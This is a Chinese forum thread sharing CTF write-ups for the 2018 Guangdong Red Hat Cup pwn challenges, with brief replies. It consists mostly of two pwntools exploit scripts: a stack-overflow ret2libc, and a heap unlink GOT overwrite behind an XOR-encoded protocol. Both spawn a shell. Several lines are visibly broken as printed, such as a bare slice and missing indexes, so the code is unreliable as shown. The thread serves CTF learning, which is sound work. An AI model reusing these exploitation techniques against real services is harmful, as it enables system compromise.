iopr 发表于 2019-6-14 09:31

2018广东红帽杯的一些pwn的复现

pwn1 game_server 一个简单的栈溢出#game_server exp
# coding:UTF-8
from pwn import *

context()

io=process('./gameserver')
gameserver=ELF('./gameserver')
libc=ELF('./libc-2.23.so')
buf=0xBF9EA437
ret=0xBF9EA54C

io.recv()
io.sendline('a'*254)
io.recv()
io.sendline('a'*254)
io.recv()
io.sendline("Y")
io.sendline((ret-buf)*'a'+p32(gameserver.plt['puts'])+p32(0x080484D0)+p32(gameserver.got['puts']))
io.recvuntil('introduce : ')
io.recvuntil('\n\n')
libc_base=u32(io.recv(4))-libc.symbols['puts']
print "libc_base -> "+hex(libc_base)
print "/bin/sh -> " + hex(libc_base+libc.search("/bin/sh").next())
print "system -> " + hex(libc_base+libc.symbols['system'])

io.recv()
io.sendline('a'*254)
io.recv()
io.sendline('a'*254)
io.recv()
io.sendline("Y")
io.sendline((ret-buf)*'a'+p32(libc_base+libc.symbols['system'])+p32(0x080484D0)+p32(libc_base+libc.search("/bin/sh").next()))
io.interactive()


pwn2 -> shellcode_manager
主要难点是在加密,虽然可以计算出来.然是io有点奇怪,这段exp是本地跑通了的.但是要试多次才可以.
# coding:UTF-8
from pwn import *
# 这个题目的io可以说是非常的奇怪了,不难,就是他妈的可能需要爆破一下
io=process('./pwn3')
elf=ELF("./pwn3")
libc=ELF('./libc-2.23.so')

io.recv(4) # 四个无用字节
miwen=io.recv(19) # No passcode No fun\n 异或加密后的数据
yuanwen='No passcode No fun\n'
key=''
password=''
re=[::-1]
for i in range(19):
    key=key+chr(ord(miwen)^ord(yuanwen))
# 这里需要将所有的输入都跟key进行异或
io.recv(timeout=0.1) # 清空程序的所有输出
# 105.,48., 110., 117., 104.,67.,49., 117
io.send('8')
for i in range(8):
    password=password+chr(re^ord(key))
io.send(password)
io.recv(timeout=0.1)
# pass


# 这里需要先malloc一个256,放入256字节,泄露出它的256 Byte key

# add 256Byte chunk
io.sendline('1')
io.recv()
io.sendline('256')
io.recv()

# fill
io.sendline('3')
io.recv()
io.sendline('0')
io.sendline('256')
io.send('a'*256)

# show
io.recv()
io.sendline('4')
io.recv()
io.sendline('0')
io.recvuntil('Note 0\n')

# 得到key
re2=io.recv(256)
key=''
for i in range(len(re2)):
    key=key+chr(ord(re2)^0x61)

# free掉
io.recv(timeout=0.1)
io.sendline('2')
io.recv()
io.sendline('0')
io.recv()

#-------------------------------------------------------------------------------------------------------------------------------------------------
def change(content):
    a=''
    for i in range(len(content)):
      a=a+chr(ord(content)^ord(key))
    return a

def add(size):
    io.sendline('1')
    io.recvuntil(change('So you shellcode size?\n'))
    io.sendline(str(size))
    io.recvuntil(change('Create Success\n'))

def delete(id):
    io.sendline('2')
    io.recvuntil(change('So what shellcode what to delete?\n'))
    io.sendline(str(id))
    io.recvuntil(change('delete Success\n'))

def fill(id,size,content):
    io.sendline('3')
    io.recvuntil(change('So witch shellcode what to edit?\n'))
    io.sendline(str(id))
    io.recvuntil(change('Your note: '))
    io.sendline(str(size))
    sleep(0.1)
    io.send(content.ljust(size,'\x00'))
    io.recvuntil(change('Success\n'))

def show(id,size):
    io.sendline('4')
    io.recvuntil(change('So what shellcode to show?\n'))
    io.sendline(str(id))
    io.recvuntil('Note '+str(id)+'\n')
    return io.recv(size)
add(0x48) # 1
add(0x48) # 2
add(0x48) # 3
add(0x48) # 4
add(0x48) # 5
add(0x48) # 6
add(0x48) # 7
add(0x48) # 8
add(0x100)# 9
fill(1,0x8,change('/bin/sh\x00'))
fill(9,0x100,change(p64(0x100)*31+p64(0x101)))
fill(8,0x48,change(p64(0)+p64(0x41)+p64(0x00000000006021A0-0x18)+p64(0x00000000006021A0-0x10)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x40)))
delete(9)
# 现在index8已经指向0x0000000000602188
fill(8,0x19,change(p64(0x48)+p64(elf.got['puts'])+p64(0x48)))
io.send('4')
io.recvuntil(change('So what shellcode to show?\n'))
io.send('7')
io.recvuntil('Note 7\n')
libc_base=u64((io.recv(6)).ljust(8,'\x00'))-libc.symbols['puts']
print "libc_base -> "+ hex(libc_base)
libc_system=libc_base+libc.symbols['system']
pause()
q=change('\x00'*6+p64(libc_system)[:-2])
for i in q:
    print hex(ord(i)),
b=change(p64(libc_system)[:-2])
fill(7,6,b*2)
io.sendline('4')
io.sendline('1')
io.sendline('1')
io.interactive()

pwn 3 -> starcraft_rpg
主要考点在与sprintf格式化字符串的利用.
这里没有exp.可以参考https://www.secpulse.com/archives/71342.html
有pwn师傅的可以一起讨论一下题目,这里因为是很久之前的复现了,只是简单的把exp放上来而已.

wuyifan520zhang 发表于 2019-6-14 22:08

居然没有人?好吧抢沙发!楼主加油!

明天会更好8866 发表于 2019-6-15 08:40

iopr 发表于 2019-6-15 12:53

em 僵硬了一点,下次复现的时候写个详细的解题流程分享给大家。

静叶流云 发表于 2019-6-15 20:08

欢迎发布有价值的原创作品

fengzai 发表于 2019-6-16 16:26

很强很强

Hmily 发表于 2019-7-17 17:50

内容有些简单,丰富下会好很多。
页: [1]
查看完整版本: 2018广东红帽杯的一些pwn的复现